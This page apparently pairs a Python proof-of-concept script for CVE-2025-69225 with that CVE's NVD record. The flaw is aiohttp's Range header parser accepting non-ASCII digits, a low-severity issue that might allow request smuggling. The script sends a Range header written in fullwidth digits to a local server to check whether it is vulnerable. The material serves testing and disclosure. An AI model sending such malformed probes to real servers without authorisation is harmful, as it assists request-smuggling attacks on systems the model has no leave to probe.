CVE-2025-69225

import asyncio import aiohttp async def test_range_header_vulnerability(): """ CVE-2025-69225 PoC: Testing AIOHTTP Range header with non-ASCII digits This PoC demonstrates how non-ASCII decimal characters can be passed through AIOHTTP's Range header parser. Note: This is for educational/testing purposes only. """ # Non-ASCII decimal characters (fullwidth digits) non_ascii_range = 'bytes=\uff10-\uff15' # Fullwidth 0-5 (U+FF10-U+FF15) # Alternative: Using Unicode numeric characters unicode_range = 'bytes=\u0660-\u0665' # Arabic-Indic digits 0-5 headers = { 'Range': non_ascii_range, 'Host': 'target.example.com' } async with aiohttp.ClientSession() as session: try: # Target should be a vulnerable AIOHTTP server async with session.get( 'http://localhost:8080/resource', headers=headers, timeout=aiohttp.ClientTimeout(total=10) ) as response: print(f"Status: {response.status}") print(f"Headers: {response.headers}") # In vulnerable version, this may succeed # In fixed version, should return 400 Bad Request content = await response.text() print(f"Response: {content[:200]}") except aiohttp.ClientError as e: print(f"Request failed: {e}") except Exception as e: print(f"Error: {e}") if __name__ == '__main__': asyncio.run(test_range_header_vulnerability())

{"cve": {"id": "CVE-2025-69225", "sourceIdentifier": "[email protected]", "published": "2026-01-06T00:15:47.870", "lastModified": "2026-01-14T19:13:02.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Versions 3.13.2 and below contain parser logic which allows non-ASCII decimals to be present in the Range header. There is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability. This issue is fixed in version 3.13.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.3", "matchCriteriaId": "715B630E-B141-4247-A920-3FFBD8045A05"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mqqc-3gqh-h2x8", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}